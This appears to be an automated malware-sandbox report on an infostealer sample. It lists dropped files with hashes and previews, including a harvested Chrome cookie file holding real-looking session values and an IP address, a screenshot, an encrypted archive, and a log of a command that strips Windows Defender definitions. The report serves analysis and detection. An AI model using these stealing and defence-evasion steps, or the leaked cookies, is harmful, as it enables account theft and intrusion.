Reputation:	low
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Reputation:	low
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Reputation:	low
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Reputation:	low
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\VLZDGUKUTZ.pdf

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Reputation:	low
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Reputation:	low
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Credentials\Chrome\Chrome Cookies.txt

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1602
Entropy (8bit):	5.8119558015996855
Encrypted:	false
SSDEEP:	48:0EsLIzcw7vC8cw75HUS5z9pLhnoCHpIYZ:c8A+vCZ+5Hp5zVoC+YZ
MD5:	F8EDFE4F5FEF69E2E357F07DE6BAF982
SHA1:	53DB922E57EB89FC7BFE1D4F37090B8F1F75FC72
SHA-256:	235BA90AEFB66ADE3FFF14DC9D7CA9D1CE0AC93F525880E5DAA5E6CB7948FD6A
SHA-512:	922FCBCC2182C6005515E5E2AF063A0E5013E66B1A5C09AF9C4683B99323CA6113AB7B10300C5CD8278A01909209E707A04DCF6DE05A52772C605B5652344703
Malicious:	false
Reputation:	low
Preview:	.google.com.TRUE./.FALSE.13351689060586313.AEC.Ad49MVEVy5CxtQLtYrblzXz4DifLm5q80KxkAsZM0tGClBBQswyzDRIjhA...google.com.TRUE./.FALSE.13370697060586477.CONSENT.PENDING+494..www.google.com.TRUE./.TRUE.13336137672000000.DV.Uw-QAWGHFCMcQIF0XFQkBViNIwrwnRg...google.com.TRUE./.FALSE.13336147869673553.GOOGLE_ABUSE_EXEMPTION.ID=743584646b6d7876:TM=1691663507:C=r:IP=84.17.52.38-:S=tthyMI8Cvn5vO7C4FE_Vh3U...microsoft.com.TRUE./.FALSE.13367673075667039.MC1.GUID=762ed1c63ceb49b49cb46dba465abf5d&HASH=762e&LV=202308&V=4&LU=1691663513605...microsoft.com.TRUE./.FALSE.13336138875667106.MS0.422da71b383d453fad5f9d7c2bd69b73..dotnet.microsoft.com.TRUE./.TRUE.13367673075943443.MSFPC.GUID=762ed1c63ceb49b49cb46dba465abf5d&HASH=762e&LV=202308&V=4&LU=1691663513605..dotnet.microsoft.com.TRUE./.TRUE.13367673076444095.MicrosoftApplicationsTelemetryDeviceId.82a40d28-864b-41fe-a279-21bff0443578...google.com.TRUE./.FALSE.13370265071547480.SOCS.CAESHAgCEhJnd3NfMjAyMzA4MDMtMF9SQzIaAmVuIAEaBgiA0dCmBg..www.google.com.TRU

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	812939
Entropy (8bit):	7.945733546303781
Encrypted:	false
SSDEEP:	24576:ytgDdlIn/mLVp6ci4DhpqxN19IEhe5jEg:SgDw+VpzNhAxNThe5jEg
MD5:	7D55DB52B53CE2E6DE849A3EE76AEA9D
SHA1:	994CB721BE484DCAAE9AC2AC322E229CC127DC18
SHA-256:	5E9730D5D67A67E377E2603D48313B1873187D2D0873CD2C51A71106DF215B47
SHA-512:	B711CF6A15856083FE58B16162120A42ABF90D2F1A50D290280B312D2BEDA95AF9422224EAEF56C2ABC12DAAB0E19960F937DAD9D41B4DDD6A3410D18CC0E4B9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...,Gu.}....b.A(.(..l.Wd..&.......6.L.9......D....1..A.!.2( .DR..Z.z.Z.UuUO.....~......BWX.......{...........Y.....(.m.....}...~5..?`...;<.f...L..CvxPH.N.J.{..p.~ .J..i..}'l..E....l.......k.e.....e...vp....h7..R....B.og.kc&+..h'.....b..f.....#.U.M.Q....g..W.....Y..........zNXl.M..7S..O..=..A.X..)..o..<..0x...N...Q....aV.^...n..T0..ZC}.G......gpl.n...Zu..g..xZ.(......je.C.6..a.u.i.....V6.=..f...j ...i.r6.3A.@.&..>.5r....u.+;.L.J...3G3.R......Y..`kj...$.z.c.g....h.7..kx.v...k2W.u.Q..?..1...@.......w..6}.}..?1..~....GEl.u...,...~...v...XZ..;.&.....E....e.X.t........8.D..T...._...."......Lq0.1..@.o)..i...l.......?a).N... :.bH.<....R.L......Q..}}$.....iX.....`....X..../d-...}.g.\|.....n..I..........\Yp.p..k...!5...b...Z?.}T.[.....r..g[.m..{..e...a..p.`...z...?...#.f.Zpc...(.*.;.....v.....w.:.v.,.~.. z=..4.`KT.T.}..&6.D...6...Z..'.6.......:.`.-&=N.

C:\Users\user\AppData\Local\Temp\2WcFThTxNQ.tmp

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 4, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2861458126645597
Encrypted:	false
SSDEEP:	192:go1/8dpUXbSzTPJxz6zVucbj8Ewn7PrH944:gS/inRQVucbj8Ewn7b944
MD5:	13A67FCABA59E4D6CE4CBC1DA50B72A8
SHA1:	3974D2F90220322108483CEF19601AA09972C3F5
SHA-256:	7BD3F40AE06D965E1C4E98D8EF2EEB00A18DD93F934ADF9F16BC682B63CD8927
SHA-512:	A07327C16463A7DF4C76DC2A682E949CF898BBC2211EFA7E4F917E13DE4BB1C0C98923B8827E191BBBC2D42FF976748D3C6C86A8A5080008BD95ABC69DDD374F
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7sLxM.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	837054
Entropy (8bit):	7.999754315958805
Encrypted:	true
SSDEEP:	24576:kjiLk+rAjxaslyomBbzTr+/cQ9ZMpIzHfYXcOV:Zk+xZ+/p82HfYX7V
MD5:	277246F674F7F5CA92F11CB56679291E
SHA1:	5F89CE754B4875D784E865A53A2DAC94BFC6E930
SHA-256:	1285B65197E26C96DC1B814D6FE68A3007BC75A5C85AD874540473E7F678386F
SHA-512:	C98BF5636076288C3F01264BAF6E5125B3A16E7F94C43FE4EF11990E534850E4F19E0CF150ED731150A417D7051699795D433415A29E63D949288CFF710FC686
Malicious:	false
Reputation:	low
Preview:	Rar!.....UxE!........V.J..l....&.U..;E.5...M1..[.;...z,...Z..Lz...&f.[...y.c..W^..p..r..n.C.W."..a..l.....t..]B..pc..mD.Rb...]...4.Uc09r.l^5Z.&..{G6..;..4;...R.'.!..5e..`..e.4....#=..k.A.ns....A{..3x.[.(.m. @)...>.2.\|......."..`)...8.. ..FRI..t.Y[.~.......%qA...k...iO.J..z.a........3....[.~...0.....M.&..}D.>3.~2M0...........w.+......,....9.GC..t.....&...8.]..R^..tZ#...!Z8.\. .P=[...Cdu4y.&.....o+.7q.]..b..P.\o@T.0;...uy....t...".V._.msv9f..Oi....N.:9.J...V.J.g../.(...0.u.e...... B.AO..L~.s.rg.....>.....UR}5:A.U.}1..!.....k.....;.B.N..~F..N.Q.29W. ....s....j.........u.\...%......B.4...K...../..]..1P.....?..#..."S..j"..Vy.k.....h.i.Zn...D....p^oi._..?n..B(.".7....>..A..3..E.`....V.W..!..'.6.?..........A..\|.....)<....i .;..?...xz...7I.?b..Tt.J>./.._(6..-.)._....."...v...F<..../2.mt.._.-}.g....:...!DC.~...zk.H.&:.t.m.F..i..Z............Lc.s..O..R..<Bk(J.I.5C~..?%....i.....~...,..4.^C`...K.i.aC.`.......<...G.p..C.o

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1101137683695295
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrYw36ltEjtk9+MlWlLehW51ICBw36ltEjM:QOaqdmOFdjrX+tEjS+kWResLIf+tEjM
MD5:	447B5CF55AA0BFA0F093B3AEF76C0F4F
SHA1:	E63BA6BD7DCFE9BFC2F048AE4684E3037AEBF5FB
SHA-256:	F91C62FDDA2C8A51A5732862010054DB443C2515435C8EBB20A3CB19451357E6
SHA-512:	6DFC9C18BC6D5123874AF719EC93C16F015755E8712696381FDF6826DAB07E1045804DB1792712DC9BA56CBE3562FFFEA81C01497F95EF518C9C14CC70F07893
Malicious:	false
Reputation:	low
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. S.e.p. .. 1.5. .. 2.0.2.3. .2.2.:.1.6.:.0.4.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. F.r.i. .. S.e.p. .. 1.5. .. 2.0.2.3. .2.2.:.1.6.:.0.4.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\RESCCB6.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4b6, 9 symbols, created Fri Sep 15 21:41:36 2023, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	4.115739601237995
Encrypted:	false
SSDEEP:	24:H+q9s+fwemB32UDfH3fwKefNshNII+ycuZhNP8qakSG8bPNnqS+d:TwemBmSXoKCNUu1ulla35qSe
MD5:	A1FCA9BC43A7502622F3A159F88934BA
SHA1:	922AB3F6DF13F837F630CC850CC279B602736DBC
SHA-256:	0CC9C6007E1A457065923B1A11022B747C78F80A50A917FB5792BBDDE08C9104
SHA-512:	0FC7E8D9A113BC86C708A69A244384B071A2662E5B618D914621D95A992E60F9BADC230BCC3DECC1E51218B60BDE86901C5F3D8465C8E7075706E4B8F74ADB38
Malicious:	false
Reputation:	low
Preview:	L......e.............debug$S........x...................@..B.rsrc$01........X.......\...........@..@.rsrc$02........P...f...............@..@........T....c:\Users\user\AppData\Local\Temp\ozweafg0\CSCCDFC3EC49286452EA176429826C32718.TMP................g.fu..k.IKV.............4.......C:\Users\user\AppData\Local\Temp\RESCCB6.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...o.z.w.e.a.f.g.0...d.l.l.....(.....L.e.g.a.

C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.641929675972235
Encrypted:	false
SSDEEP:	1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
MD5:	4585A96CC4EEF6AAFD5E27EA09147DC6
SHA1:	489CFFF1B19ABBEC98FDA26AC8958005E88DD0CB
SHA-256:	A8F950B4357EC12CFCCDDC9094CCA56A3D5244B95E09EA6E9A746489F2D58736
SHA-512:	D78260C66331FE3029D2CC1B41A5D002EC651F2E3BBF55076D65839B5E3C6297955AFD4D9AB8951FBDC9F929DBC65EB18B14B59BCE1F2994318564EB4920F286
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d..._#;..........." ...".....`......................................................=.....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

